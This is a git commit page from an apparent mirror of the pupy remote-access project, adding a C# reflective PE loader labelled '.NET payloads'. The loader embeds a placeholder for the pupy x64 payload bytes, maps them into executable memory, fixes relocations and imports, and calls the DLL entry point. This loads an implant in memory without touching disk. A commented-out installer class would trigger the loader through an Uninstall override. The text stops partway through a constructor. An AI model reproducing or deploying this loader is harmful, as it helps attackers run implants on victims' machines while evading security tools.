mirror of https://github.com/n1nj4sec/pupy.git
first version of .NET payloads
This commit is contained in:
parent
a6adcc2516
commit
1598c3d0e0
|
@ -0,0 +1,845 @@
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
//using System.Configuration.Install;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
Original Author: Casey Smith, Twitter: @subTee
|
||||||
|
License: BSD 3-Clause
|
||||||
|
|
||||||
|
Edited by @n1nj4sec
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
namespace PELoader
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
[System.ComponentModel.RunInstaller(true)]
|
||||||
|
public class Sample : System.Configuration.Install.Installer
|
||||||
|
{
|
||||||
|
public static byte[] Compress(byte[] raw)
|
||||||
|
{
|
||||||
|
using (MemoryStream memory = new MemoryStream())
|
||||||
|
{
|
||||||
|
using (GZipStream gzip = new GZipStream(memory,
|
||||||
|
CompressionMode.Compress, true))
|
||||||
|
{
|
||||||
|
gzip.Write(raw, 0, raw.Length);
|
||||||
|
}
|
||||||
|
return memory.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
|
||||||
|
public override void Uninstall(System.Collections.IDictionary savedState)
|
||||||
|
{
|
||||||
|
Program.Main();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
unsafe class Program
|
||||||
|
{
|
||||||
|
public enum DllReason : uint
|
||||||
|
{
|
||||||
|
DLL_PROCESS_ATTACH = 1,
|
||||||
|
DLL_THREAD_ATTACH = 2,
|
||||||
|
DLL_THREAD_DETACH = 3,
|
||||||
|
DLL_PROCESS_DETACH = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
|
||||||
|
private delegate bool DllEntryDelegate(void* hinstDLL, DllReason fdwReason, void* lpReserved);
|
||||||
|
static byte[] Decompress(byte[] gzip)
|
||||||
|
{
|
||||||
|
using (GZipStream stream = new GZipStream(new MemoryStream(gzip), CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
const int size = 4096;
|
||||||
|
byte[] buffer = new byte[size];
|
||||||
|
using (MemoryStream memory = new MemoryStream())
|
||||||
|
{
|
||||||
|
int count = 0;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
count = stream.Read(buffer, 0, size);
|
||||||
|
if (count > 0)
|
||||||
|
{
|
||||||
|
memory.Write(buffer, 0, count);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
while (count > 0);
|
||||||
|
return memory.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void Main()
|
||||||
|
{
|
||||||
|
DllEntryDelegate _dllEntry;
|
||||||
|
byte[] RawPE = <PUPYx64_BYTES>;
|
||||||
|
//byte[] decompressed = Decompress(FromBase64);
|
||||||
|
|
||||||
|
PELoader pe = new PELoader(RawPE);
|
||||||
|
|
||||||
|
Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));
|
||||||
|
|
||||||
|
IntPtr codebase = IntPtr.Zero;
|
||||||
|
|
||||||
|
codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4"));
|
||||||
|
|
||||||
|
|
||||||
|
//Copy Sections
|
||||||
|
for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
|
||||||
|
{
|
||||||
|
|
||||||
|
IntPtr y = NativeDeclarations.VirtualAlloc((IntPtr)((byte *)codebase + pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE);
|
||||||
|
Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
|
||||||
|
Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4"));
|
||||||
|
}
|
||||||
|
|
||||||
|
//Perform Base Relocation
|
||||||
|
//Calculate Delta
|
||||||
|
long currentbase = (long)codebase.ToInt64();
|
||||||
|
long delta;
|
||||||
|
|
||||||
|
delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);
|
||||||
|
|
||||||
|
|
||||||
|
Console.WriteLine("Delta = {0}", delta.ToString("X4"));
|
||||||
|
|
||||||
|
//Modify Memory Based On Relocation Table
|
||||||
|
|
||||||
|
//Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
|
||||||
|
//Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));
|
||||||
|
|
||||||
|
IntPtr relocationTable = (IntPtr)((byte *)codebase + pe.OptionalHeader64.BaseRelocationTable.VirtualAddress);
|
||||||
|
//Console.WriteLine(relocationTable.ToString("X4"));
|
||||||
|
|
||||||
|
NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
|
||||||
|
relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
|
||||||
|
//Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
|
||||||
|
//Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));
|
||||||
|
|
||||||
|
int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
|
||||||
|
IntPtr nextEntry = relocationTable;
|
||||||
|
int sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
|
||||||
|
IntPtr offset = relocationTable;
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
|
||||||
|
NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
|
||||||
|
IntPtr x = (IntPtr)((byte *)relocationTable + sizeofNextBlock);
|
||||||
|
relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
|
||||||
|
|
||||||
|
|
||||||
|
IntPtr dest = (IntPtr)((byte *)codebase + (int)relocationEntry.VirtualAdress);
|
||||||
|
|
||||||
|
|
||||||
|
//Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2);
|
||||||
|
//Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2);
|
||||||
|
|
||||||
|
for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
|
||||||
|
{
|
||||||
|
|
||||||
|
IntPtr patchAddr;
|
||||||
|
UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
|
||||||
|
|
||||||
|
UInt16 type = (UInt16)(value >> 12);
|
||||||
|
UInt16 fixup = (UInt16)(value & 0xfff);
|
||||||
|
//Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4"));
|
||||||
|
|
||||||
|
switch (type)
|
||||||
|
{
|
||||||
|
case 0x0:
|
||||||
|
break;
|
||||||
|
case 0xA:
|
||||||
|
patchAddr = (IntPtr)((byte *)dest+ fixup);
|
||||||
|
//Add Delta To Location.
|
||||||
|
long originalAddr = Marshal.ReadInt64(patchAddr);
|
||||||
|
Marshal.WriteInt64(patchAddr, originalAddr + delta);
|
||||||
|
break;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
offset = (IntPtr)((byte *)relocationTable + sizeofNextBlock);
|
||||||
|
sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
|
||||||
|
relocationEntry = relocationNextEntry;
|
||||||
|
|
||||||
|
nextEntry = (IntPtr)((byte *)nextEntry + sizeofNextBlock);
|
||||||
|
|
||||||
|
if (relocationNextEntry.SizeOfBlock == 0) break;
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//Resolve Imports
|
||||||
|
|
||||||
|
IntPtr z = (IntPtr)((byte *)codebase + pe.ImageSectionHeaders[1].VirtualAddress);
|
||||||
|
IntPtr oa1 = (IntPtr)((byte *)codebase + pe.OptionalHeader64.ImportTable.VirtualAddress);
|
||||||
|
int oa2 = Marshal.ReadInt32((IntPtr)((byte *)oa1+ 16));
|
||||||
|
|
||||||
|
//Get And Display Each DLL To Load
|
||||||
|
for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
|
||||||
|
{
|
||||||
|
IntPtr a1 = (IntPtr)((byte *)codebase + (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
|
||||||
|
int entryLength = Marshal.ReadInt32((IntPtr)((byte *)a1 + 16));
|
||||||
|
IntPtr a2 = (IntPtr)((byte *)codebase + pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part?
|
||||||
|
IntPtr dllNamePTR = (IntPtr)((byte *)codebase + Marshal.ReadInt32((IntPtr)((byte *)(a1+ 12))));
|
||||||
|
string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
|
||||||
|
if (DllName == "") { break; }
|
||||||
|
|
||||||
|
IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
|
||||||
|
Console.WriteLine("Loaded {0}", DllName);
|
||||||
|
for (int k = 1; k < 9999; k++)
|
||||||
|
{
|
||||||
|
IntPtr dllFuncNamePTR = ((IntPtr)((byte *)codebase + Marshal.ReadInt32(a2)));
|
||||||
|
string DllFuncName = Marshal.PtrToStringAnsi((IntPtr)((byte *)dllFuncNamePTR + 2));
|
||||||
|
//Console.WriteLine("Function {0}", DllFuncName);
|
||||||
|
IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
|
||||||
|
Marshal.WriteInt64(a2, (long)funcAddy);
|
||||||
|
a2 = (IntPtr)((byte *)a2 + 8);
|
||||||
|
if (DllFuncName == "") break;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//Console.ReadLine();
|
||||||
|
}
|
||||||
|
|
||||||
|
//Transfer Control To OEP
|
||||||
|
Console.WriteLine("Executing DLL");
|
||||||
|
IntPtr threadStart = (IntPtr)((byte *)codebase+ (int)pe.OptionalHeader64.AddressOfEntryPoint);
|
||||||
|
_dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer((IntPtr)threadStart, typeof(DllEntryDelegate));
|
||||||
|
|
||||||
|
if (_dllEntry != null && _dllEntry((byte*)codebase, DllReason.DLL_PROCESS_ATTACH, null)){
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
throw new Exception("Can't attach DLL to process.");
|
||||||
|
}
|
||||||
|
|
||||||
|
//IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);
|
||||||
|
//NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||||
|
|
||||||
|
Console.WriteLine("Thread Complete");
|
||||||
|
//Console.ReadLine();
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
} //End Main
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}//End Program
|
||||||
|
|
||||||
|
public class PELoader
|
||||||
|
{
|
||||||
|
public struct IMAGE_DOS_HEADER
|
||||||
|
{ // DOS .EXE header
|
||||||
|
public UInt16 e_magic; // Magic number
|
||||||
|
public UInt16 e_cblp; // Bytes on last page of file
|
||||||
|
public UInt16 e_cp; // Pages in file
|
||||||
|
public UInt16 e_crlc; // Relocations
|
||||||
|
public UInt16 e_cparhdr; // Size of header in paragraphs
|
||||||
|
public UInt16 e_minalloc; // Minimum extra paragraphs needed
|
||||||
|
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
|
||||||
|
public UInt16 e_ss; // Initial (relative) SS value
|
||||||
|
public UInt16 e_sp; // Initial SP value
|
||||||
|
public UInt16 e_csum; // Checksum
|
||||||
|
public UInt16 e_ip; // Initial IP value
|
||||||
|
public UInt16 e_cs; // Initial (relative) CS value
|
||||||
|
public UInt16 e_lfarlc; // File address of relocation table
|
||||||
|
public UInt16 e_ovno; // Overlay number
|
||||||
|
public UInt16 e_res_0; // Reserved words
|
||||||
|
public UInt16 e_res_1; // Reserved words
|
||||||
|
public UInt16 e_res_2; // Reserved words
|
||||||
|
public UInt16 e_res_3; // Reserved words
|
||||||
|
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
|
||||||
|
public UInt16 e_oeminfo; // OEM information; e_oemid specific
|
||||||
|
public UInt16 e_res2_0; // Reserved words
|
||||||
|
public UInt16 e_res2_1; // Reserved words
|
||||||
|
public UInt16 e_res2_2; // Reserved words
|
||||||
|
public UInt16 e_res2_3; // Reserved words
|
||||||
|
public UInt16 e_res2_4; // Reserved words
|
||||||
|
public UInt16 e_res2_5; // Reserved words
|
||||||
|
public UInt16 e_res2_6; // Reserved words
|
||||||
|
public UInt16 e_res2_7; // Reserved words
|
||||||
|
public UInt16 e_res2_8; // Reserved words
|
||||||
|
public UInt16 e_res2_9; // Reserved words
|
||||||
|
public UInt32 e_lfanew; // File address of new exe header
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct IMAGE_DATA_DIRECTORY
|
||||||
|
{
|
||||||
|
public UInt32 VirtualAddress;
|
||||||
|
public UInt32 Size;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||||
|
public struct IMAGE_OPTIONAL_HEADER32
|
||||||
|
{
|
||||||
|
public UInt16 Magic;
|
||||||
|
public Byte MajorLinkerVersion;
|
||||||
|
public Byte MinorLinkerVersion;
|
||||||
|
public UInt32 SizeOfCode;
|
||||||
|
public UInt32 SizeOfInitializedData;
|
||||||
|
public UInt32 SizeOfUninitializedData;
|
||||||
|
public UInt32 AddressOfEntryPoint;
|
||||||
|
public UInt32 BaseOfCode;
|
||||||
|
public UInt32 BaseOfData;
|
||||||
|
public UInt32 ImageBase;
|
||||||
|
public UInt32 SectionAlignment;
|
||||||
|
public UInt32 FileAlignment;
|
||||||
|
public UInt16 MajorOperatingSystemVersion;
|
||||||
|
public UInt16 MinorOperatingSystemVersion;
|
||||||
|
public UInt16 MajorImageVersion;
|
||||||
|
public UInt16 MinorImageVersion;
|
||||||
|
public UInt16 MajorSubsystemVersion;
|
||||||
|
public UInt16 MinorSubsystemVersion;
|
||||||
|
public UInt32 Win32VersionValue;
|
||||||
|
public UInt32 SizeOfImage;
|
||||||
|
public UInt32 SizeOfHeaders;
|
||||||
|
public UInt32 CheckSum;
|
||||||
|
public UInt16 Subsystem;
|
||||||
|
public UInt16 DllCharacteristics;
|
||||||
|
public UInt32 SizeOfStackReserve;
|
||||||
|
public UInt32 SizeOfStackCommit;
|
||||||
|
public UInt32 SizeOfHeapReserve;
|
||||||
|
public UInt32 SizeOfHeapCommit;
|
||||||
|
public UInt32 LoaderFlags;
|
||||||
|
public UInt32 NumberOfRvaAndSizes;
|
||||||
|
|
||||||
|
public IMAGE_DATA_DIRECTORY ExportTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY ImportTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY ResourceTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY ExceptionTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY CertificateTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY Debug;
|
||||||
|
public IMAGE_DATA_DIRECTORY Architecture;
|
||||||
|
public IMAGE_DATA_DIRECTORY GlobalPtr;
|
||||||
|
public IMAGE_DATA_DIRECTORY TLSTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY LoadConfigTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY BoundImport;
|
||||||
|
public IMAGE_DATA_DIRECTORY IAT;
|
||||||
|
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
|
||||||
|
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
|
||||||
|
public IMAGE_DATA_DIRECTORY Reserved;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||||
|
public struct IMAGE_OPTIONAL_HEADER64
|
||||||
|
{
|
||||||
|
public UInt16 Magic;
|
||||||
|
public Byte MajorLinkerVersion;
|
||||||
|
public Byte MinorLinkerVersion;
|
||||||
|
public UInt32 SizeOfCode;
|
||||||
|
public UInt32 SizeOfInitializedData;
|
||||||
|
public UInt32 SizeOfUninitializedData;
|
||||||
|
public UInt32 AddressOfEntryPoint;
|
||||||
|
public UInt32 BaseOfCode;
|
||||||
|
public UInt64 ImageBase;
|
||||||
|
public UInt32 SectionAlignment;
|
||||||
|
public UInt32 FileAlignment;
|
||||||
|
public UInt16 MajorOperatingSystemVersion;
|
||||||
|
public UInt16 MinorOperatingSystemVersion;
|
||||||
|
public UInt16 MajorImageVersion;
|
||||||
|
public UInt16 MinorImageVersion;
|
||||||
|
public UInt16 MajorSubsystemVersion;
|
||||||
|
public UInt16 MinorSubsystemVersion;
|
||||||
|
public UInt32 Win32VersionValue;
|
||||||
|
public UInt32 SizeOfImage;
|
||||||
|
public UInt32 SizeOfHeaders;
|
||||||
|
public UInt32 CheckSum;
|
||||||
|
public UInt16 Subsystem;
|
||||||
|
public UInt16 DllCharacteristics;
|
||||||
|
public UInt64 SizeOfStackReserve;
|
||||||
|
public UInt64 SizeOfStackCommit;
|
||||||
|
public UInt64 SizeOfHeapReserve;
|
||||||
|
public UInt64 SizeOfHeapCommit;
|
||||||
|
public UInt32 LoaderFlags;
|
||||||
|
public UInt32 NumberOfRvaAndSizes;
|
||||||
|
|
||||||
|
public IMAGE_DATA_DIRECTORY ExportTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY ImportTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY ResourceTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY ExceptionTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY CertificateTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY Debug;
|
||||||
|
public IMAGE_DATA_DIRECTORY Architecture;
|
||||||
|
public IMAGE_DATA_DIRECTORY GlobalPtr;
|
||||||
|
public IMAGE_DATA_DIRECTORY TLSTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY LoadConfigTable;
|
||||||
|
public IMAGE_DATA_DIRECTORY BoundImport;
|
||||||
|
public IMAGE_DATA_DIRECTORY IAT;
|
||||||
|
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
|
||||||
|
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
|
||||||
|
public IMAGE_DATA_DIRECTORY Reserved;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||||
|
public struct IMAGE_FILE_HEADER
|
||||||
|
{
|
||||||
|
public UInt16 Machine;
|
||||||
|
public UInt16 NumberOfSections;
|
||||||
|
public UInt32 TimeDateStamp;
|
||||||
|
public UInt32 PointerToSymbolTable;
|
||||||
|
public UInt32 NumberOfSymbols;
|
||||||
|
public UInt16 SizeOfOptionalHeader;
|
||||||
|
public UInt16 Characteristics;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Explicit)]
|
||||||
|
public struct IMAGE_SECTION_HEADER
|
||||||
|
{
|
||||||
|
[FieldOffset(0)]
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||||
|
public char[] Name;
|
||||||
|
[FieldOffset(8)]
|
||||||
|
public UInt32 VirtualSize;
|
||||||
|
[FieldOffset(12)]
|
||||||
|
public UInt32 VirtualAddress;
|
||||||
|
[FieldOffset(16)]
|
||||||
|
public UInt32 SizeOfRawData;
|
||||||
|
[FieldOffset(20)]
|
||||||
|
public UInt32 PointerToRawData;
|
||||||
|
[FieldOffset(24)]
|
||||||
|
public UInt32 PointerToRelocations;
|
||||||
|
[FieldOffset(28)]
|
||||||
|
public UInt32 PointerToLinenumbers;
|
||||||
|
[FieldOffset(32)]
|
||||||
|
public UInt16 NumberOfRelocations;
|
||||||
|
[FieldOffset(34)]
|
||||||
|
public UInt16 NumberOfLinenumbers;
|
||||||
|
[FieldOffset(36)]
|
||||||
|
public DataSectionFlags Characteristics;
|
||||||
|
|
||||||
|
public string Section
|
||||||
|
{
|
||||||
|
get { return new string(Name); }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct IMAGE_BASE_RELOCATION
|
||||||
|
{
|
||||||
|
public uint VirtualAdress;
|
||||||
|
public uint SizeOfBlock;
|
||||||
|
}
|
||||||
|
|
||||||
|
[Flags]
|
||||||
|
public enum DataSectionFlags : uint
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
TypeReg = 0x00000000,
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
TypeDsect = 0x00000001,
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
TypeNoLoad = 0x00000002,
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
TypeGroup = 0x00000004,
|
||||||
|
/// <summary>
|
||||||
|
/// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
TypeNoPadded = 0x00000008,
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
TypeCopy = 0x00000010,
|
||||||
|
/// <summary>
|
||||||
|
/// The section contains executable code.
|
||||||
|
/// </summary>
|
||||||
|
ContentCode = 0x00000020,
|
||||||
|
/// <summary>
|
||||||
|
/// The section contains initialized data.
|
||||||
|
/// </summary>
|
||||||
|
ContentInitializedData = 0x00000040,
|
||||||
|
/// <summary>
|
||||||
|
/// The section contains uninitialized data.
|
||||||
|
/// </summary>
|
||||||
|
ContentUninitializedData = 0x00000080,
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
LinkOther = 0x00000100,
|
||||||
|
/// <summary>
|
||||||
|
/// The section contains comments or other information. The .drectve section has this type. This is valid for object files only.
|
||||||
|
/// </summary>
|
||||||
|
LinkInfo = 0x00000200,
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
TypeOver = 0x00000400,
|
||||||
|
/// <summary>
|
||||||
|
/// The section will not become part of the image. This is valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
LinkRemove = 0x00000800,
|
||||||
|
/// <summary>
|
||||||
|
/// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
LinkComDat = 0x00001000,
|
||||||
|
/// <summary>
|
||||||
|
/// Reset speculative exceptions handling bits in the TLB entries for this section.
|
||||||
|
/// </summary>
|
||||||
|
NoDeferSpecExceptions = 0x00004000,
|
||||||
|
/// <summary>
|
||||||
|
/// The section contains data referenced through the global pointer (GP).
|
||||||
|
/// </summary>
|
||||||
|
RelativeGP = 0x00008000,
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
MemPurgeable = 0x00020000,
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
Memory16Bit = 0x00020000,
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
MemoryLocked = 0x00040000,
|
||||||
|
/// <summary>
|
||||||
|
/// Reserved for future use.
|
||||||
|
/// </summary>
|
||||||
|
MemoryPreload = 0x00080000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 1-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align1Bytes = 0x00100000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 2-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align2Bytes = 0x00200000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 4-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align4Bytes = 0x00300000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on an 8-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align8Bytes = 0x00400000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 16-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align16Bytes = 0x00500000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 32-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align32Bytes = 0x00600000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 64-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align64Bytes = 0x00700000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 128-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align128Bytes = 0x00800000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 256-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align256Bytes = 0x00900000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 512-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align512Bytes = 0x00A00000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 1024-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align1024Bytes = 0x00B00000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 2048-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align2048Bytes = 0x00C00000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on a 4096-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align4096Bytes = 0x00D00000,
|
||||||
|
/// <summary>
|
||||||
|
/// Align data on an 8192-byte boundary. Valid only for object files.
|
||||||
|
/// </summary>
|
||||||
|
Align8192Bytes = 0x00E00000,
|
||||||
|
/// <summary>
|
||||||
|
/// The section contains extended relocations.
|
||||||
|
/// </summary>
|
||||||
|
LinkExtendedRelocationOverflow = 0x01000000,
|
||||||
|
/// <summary>
|
||||||
|
/// The section can be discarded as needed.
|
||||||
|
/// </summary>
|
||||||
|
MemoryDiscardable = 0x02000000,
|
||||||
|
/// <summary>
|
||||||
|
/// The section cannot be cached.
|
||||||
|
/// </summary>
|
||||||
|
MemoryNotCached = 0x04000000,
|
||||||
|
/// <summary>
|
||||||
|
/// The section is not pageable.
|
||||||
|
/// </summary>
|
||||||
|
MemoryNotPaged = 0x08000000,
|
||||||
|
/// <summary>
|
||||||
|
/// The section can be shared in memory.
|
||||||
|
/// </summary>
|
||||||
|
MemoryShared = 0x10000000,
|
||||||
|
/// <summary>
|
||||||
|
/// The section can be executed as code.
|
||||||
|
/// </summary>
|
||||||
|
MemoryExecute = 0x20000000,
|
||||||
|
/// <summary>
|
||||||
|
/// The section can be read.
|
||||||
|
/// </summary>
|
||||||
|
MemoryRead = 0x40000000,
|
||||||
|
/// <summary>
|
||||||
|
/// The section can be written to.
|
||||||
|
/// </summary>
|
||||||
|
MemoryWrite = 0x80000000
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The DOS header
|
||||||
|
/// </summary>
|
||||||
|
private IMAGE_DOS_HEADER dosHeader;
|
||||||
|
/// <summary>
|
||||||
|
/// The file header
|
||||||
|
/// </summary>
|
||||||
|
private IMAGE_FILE_HEADER fileHeader;
|
||||||
|
/// <summary>
|
||||||
|
/// Optional 32 bit file header
|
||||||
|
/// </summary>
|
||||||
|
private IMAGE_OPTIONAL_HEADER32 optionalHeader32;
|
||||||
|
/// <summary>
|
||||||
|
/// Optional 64 bit file header
|
||||||
|
/// </summary>
|
||||||
|
private IMAGE_OPTIONAL_HEADER64 optionalHeader64;
|
||||||
|
/// <summary>
|
||||||
|
/// Image Section headers. Number of sections is in the file header.
|
||||||
|
/// </summary>
|
||||||
|
private IMAGE_SECTION_HEADER[] imageSectionHeaders;
|
||||||
|
|
||||||
|
private byte[] rawbytes;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
public PELoader(string filePath)
|
||||||
|
{
|
||||||
|
// Read in the DLL or EXE and get the timestamp
|
||||||
|
